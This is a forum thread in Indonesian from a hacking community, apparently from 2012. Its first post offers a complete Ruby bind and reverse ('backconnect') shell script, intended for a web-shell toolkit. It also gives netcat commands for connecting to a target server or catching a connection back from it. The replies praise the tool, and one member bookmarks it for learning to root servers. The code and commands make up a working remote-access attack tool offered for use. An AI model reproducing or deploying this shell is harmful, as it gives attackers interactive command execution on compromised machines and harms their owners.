Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-21-2013, 02:06 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Programming › Ruby
{ruby} Bind and Reverse(BackConnect) shell

Home General Computer Multimedia Business Lounge

Pages (2): 1 2 Next »
Post Reply 
Tweet
Threaded Mode | Linear Mode
{ruby} Bind and Reverse(BackConnect) shell
02-11-2012, 01:18 AM (This post was last modified: 02-11-2012 01:35 AM by ketek.)
Post: #1
ketek Offline
bocah ingusan
*******
Administrators
Posts: 2,168
Joined: Jan 2010
Reputation: 369
{ruby} Bind and Reverse(BackConnect) shell
Salam devilzc0ders,

ane ada buat neh script untuk connect/backconnect..
berikut codenya:

jalan di windows/mac/linux/bsd/dll
yg sudah terinstall ruby

tested on versi ruby 1.8.7 ke atas.

save sebagai tcpshell.rb
Code:
#!/usr/bin/env ruby
# devilzc0de.org (c) 2012
#
# bind and reverse shell
# b374k
require 'socket'
require 'pathname'

def usage
    print "bind :\r\n  ruby " + File.basename(__FILE__) + " [port]\r\n"
    print "reverse :\r\n  ruby " + File.basename(__FILE__) + " [port] [host]\r\n"
end

def sucks
    sucks = false
    if RUBY_PLATFORM.downcase.match('mswin|win|mingw')
        sucks = true
    end
    return sucks
end

def realpath(str)
    real = str
    if File.exists?(str)
        d = Pathname.new(str)
        real = d.realpath.to_s
    end
    if sucks
        real = real.gsub(/\//,"\\")
    end
    return real
end

if ARGV.length == 1
    if ARGV[0] =~ /^[0-9]{1,5}$/
        port = Integer(ARGV[0])
    else
        usage
        print "\r\n*** error : Please input a valid port\r\n"
        exit
    end
    server = TCPServer.new("", port)
    s = server.accept
    port = s.peeraddr[1]
    name = s.peeraddr[2]
    s.print "*** connected\r\n"
    puts "*** connected : #{name}:#{port}\r\n"
    begin
        if not sucks
            f = s.to_i
            exec sprintf("/bin/sh -i \<\&%d \>\&%d 2\>\&%d",f,f,f)
        else
            s.print "\r\n" + realpath(".") + ">"
            while line = s.gets
                raise errorBro if line =~ /^die\r?$/
                if not line.chomp == ""
                    if line =~ /cd .*/i
                        line = line.gsub(/cd /i, '').chomp
                        if File.directory?(line)
                            line = realpath(line)
                            Dir.chdir(line)
                        end
                        s.print "\r\n" + realpath(".") + ">"
                    elsif line =~ /\w:.*/i
                        if File.directory?(line.chomp)
                            Dir.chdir(line.chomp)
                        end
                        s.print "\r\n" + realpath(".") + ">"
                    else
                        IO.popen(line,"r"){|io|s.print io.read + "\r\n" + realpath(".") + ">"}
                    end
                end
            end
        end
    rescue errorBro
        puts "*** #{name}:#{port} disconnected"
    ensure
        s.close
        s = nil
    end
elsif ARGV.length == 2
    if ARGV[0] =~ /^[0-9]{1,5}$/
        port = Integer(ARGV[0])
        host = ARGV[1]
    elsif ARGV[1] =~ /^[0-9]{1,5}$/
        port = Integer(ARGV[1])
        host = ARGV[0]
    else
        usage
        print "\r\n*** error : Please input a valid port\r\n"
        exit
    end
    s = TCPSocket.new("#{host}", port)
    port = s.peeraddr[1]
    name = s.peeraddr[2]
    s.print "*** connected\r\n"
    puts "*** connected : #{name}:#{port}"
    begin
        if not sucks
            f = s.to_i
            exec sprintf("/bin/sh -i \<\&%d \>\&%d 2\>\&%d", f, f, f)
        else
            s.print "\r\n" + realpath(".") + ">"
            while line = s.gets
                raise errorBro if line =~ /^die\r?$/
                if not line.chomp == ""
                    if line =~ /cd .*/i
                        line = line.gsub(/cd /i, '').chomp
                        if File.directory?(line)
                            line = realpath(line)
                            Dir.chdir(line)
                        end
                        s.print "\r\n" + realpath(".") + ">"
                    elsif line =~ /\w:.*/i
                        if File.directory?(line.chomp)
                            Dir.chdir(line.chomp)
                        end
                        s.print "\r\n" + realpath(".") + ">"
                    else
                        IO.popen(line,"r"){|io|s.print io.read + "\r\n" + realpath(".") + ">"}
                    end
                end
            end
        end
    rescue errorBro
        puts "*** #{name}:#{port} disconnected"
    ensure
        s.close
        s = nil
    end
else
    usage
    exit
end
http://pastebin.com/3GJcp67B





syntax :
untuk connect:
jalanin script ini di server (misal alamat server 123.123.123.123) dengan perintah
Code:
ruby tcpshell.rb [port]
misal kita listen di port 13123
Code:
ruby tcpshell.rb 13123
abis itu connect dari komputer kita misal menggunakan netcat:
Code:
nc [target] [port]
misalkan dengan target 123.123.123.123 maka jalankan:
Code:
nc 123.123.123.123 13123


untuk backconnect:
jalanin misalnya netcat dgn listen mode di komputer kita (misal alamat kita 213.213.213.213 )
syntaxnya:
Code:
nc -lvv [port]
misalnya kita mau listen pada port 13123
Code:
nc -lvv 13123
abis itu jalanin script ini dari server dengan perintah
Code:
tcpshell.rb [komputerkita] [port]
jadinya klo ip address kita 213.213.213.213
maka jadinya
Code:
tcpshell.rb 213.213.213.213 13123


klo gak bisa connect, pastikan IP address dan port sudah benar
pastikan juga port nya tidak diblock oleh firewall


[Image: 2dhivpl.jpg]
[Image: 1432naf.jpg]

ok semoga berguna..
nanti ni bakalan di include secara default di b374k versi berikutnya
ketawa
Find all posts by this user
Quote this message in a reply
 Reputed by :  ditatompel(+1) , adoet_t(+1) , wenkhairu(+1) , tabun(+1) , rusuh(+1) , sidom(+1)
02-11-2012, 01:21 AM
Post: #2
ditatompel Offline
Administrator
*******
Administrators
Posts: 2,168
Joined: Dec 2010
Reputation: 367
RE: {ruby} Bind and Reverse(BackConnect) shell
wkwkkw... Sadis.. Semua proglang dihajar... mimisan
Thanks om mantap
Find all posts by this user
Quote this message in a reply
02-11-2012, 01:25 AM
Post: #3
ketek Offline
bocah ingusan
*******
Administrators
Posts: 2,168
Joined: Jan 2010
Reputation: 369
RE: {ruby} Bind and Reverse(BackConnect) shell
masih hijau om ane baru belajar tersipu
Find all posts by this user
Quote this message in a reply
02-11-2012, 01:57 AM
Post: #4
tabun Offline
./Junk3r C4d3t
Posts: 1,770
Joined: Dec 2011
Reputation: 33
RE: {ruby} Bind and Reverse(BackConnect) shell
seperti biasa... mantap
Find all posts by this user
Quote this message in a reply
02-11-2012, 02:03 AM
Post: #5
rusuh Away
sepik'ers
**
Moderators
Posts: 455
Joined: Oct 2011
Reputation: 77
RE: {ruby} Bind and Reverse(BackConnect) shell
ma'aci bg ketek'Z ngakak mayan nambah2in peluruw piss
Visit this user's website Find all posts by this user
Quote this message in a reply
02-11-2012, 02:24 AM
Post: #6
badwolves1986 [RJ] Offline
Staf Registrasi DIC
RJ
Posts: 2,881
Joined: Oct 2010
Reputation: 91
RE: {ruby} Bind and Reverse(BackConnect) shell
mantap bg ketek ane bookmark dulu buat belajar ngeroot ketawa
Find all posts by this user
Quote this message in a reply
02-11-2012, 02:30 AM
Post: #7
konspirasi Offline
./Devilz Officer
Posts: 65
Joined: Aug 2011
Reputation: 3
RE: {ruby} Bind and Reverse(BackConnect) shell
woooh ndewo gan ruby nya ketawa
ijin simpen skripnya ya
Visit this user's website Find all posts by this user
Quote this message in a reply
02-11-2012, 04:33 AM (This post was last modified: 02-11-2012 04:36 AM by x.intruders.)
Post: #8
x.intruders Offline
paduka kecil
Posts: 527
Joined: Dec 2010
Reputation: 57
RE: {ruby} Bind and Reverse(BackConnect) shell
smangat omz ketek bisa semua program yah..
member DC mantap smua.. jd minder pasrah
ane mau dong jd muridnya omz ketek mohon
Visit this user's website Find all posts by this user
Quote this message in a reply
02-11-2012, 11:55 AM
Post: #9
Killu4 Away
./Devilz Advisor
Posts: 744
Joined: Nov 2011
Reputation: 16
RE: {ruby} Bind and Reverse(BackConnect) shell
Wew ketek kembali beraksi love
Find all posts by this user
Quote this message in a reply
02-11-2012, 12:38 PM
Post: #10
nanda Away
Wahyu Adi Prasetyo
**
Moderators
Posts: 2,012
Joined: Aug 2011
Reputation: 119
RE: {ruby} Bind and Reverse(BackConnect) shell
Wah ini nih yang w suka dri om ketek mantap

dpt jga pelajaran ruby belajar
mantap
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Pages (2): 1 2 Next »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  Ruboto, Ruby on android micaeruby 0 82 04-26-2013 09:49 AM
Last Post: micaeruby
Heart E-book ruby Programing od3yz 7 1,092 02-01-2013 09:32 AM
Last Post: qpdll
  Basic ruby naya radya part II od3yz 8 849 05-13-2012 08:42 AM
Last Post: KotoM
  tanya2 tentang Instalasi Ruby 404 Not Found 0 213 04-25-2012 01:21 PM
Last Post: 404 Not Found
  Sekilas tentang Interactive Ruby Shell Fauzi Topan 5 713 02-24-2012 07:19 PM
Last Post: nanda
Thumbs Down Basic ruby naya radya part I od3yz 18 1,539 02-23-2012 11:42 AM
Last Post: badwolves1986
Exclamation Ruby sekarang punya subforum sendiri (+ tutor installasi) ketek 17 1,453 02-18-2012 07:45 AM
Last Post: ketek
  [Tutor] With ruby "command linux" b0cah_rusuh 2 717 10-08-2011 07:46 PM
Last Post: STr4sh
  [RUBY] Install Ruby di Windows sang.sakaya 4 1,619 01-18-2011 10:28 AM
Last Post: sang.sakaya

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-21-2013, 02:06 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE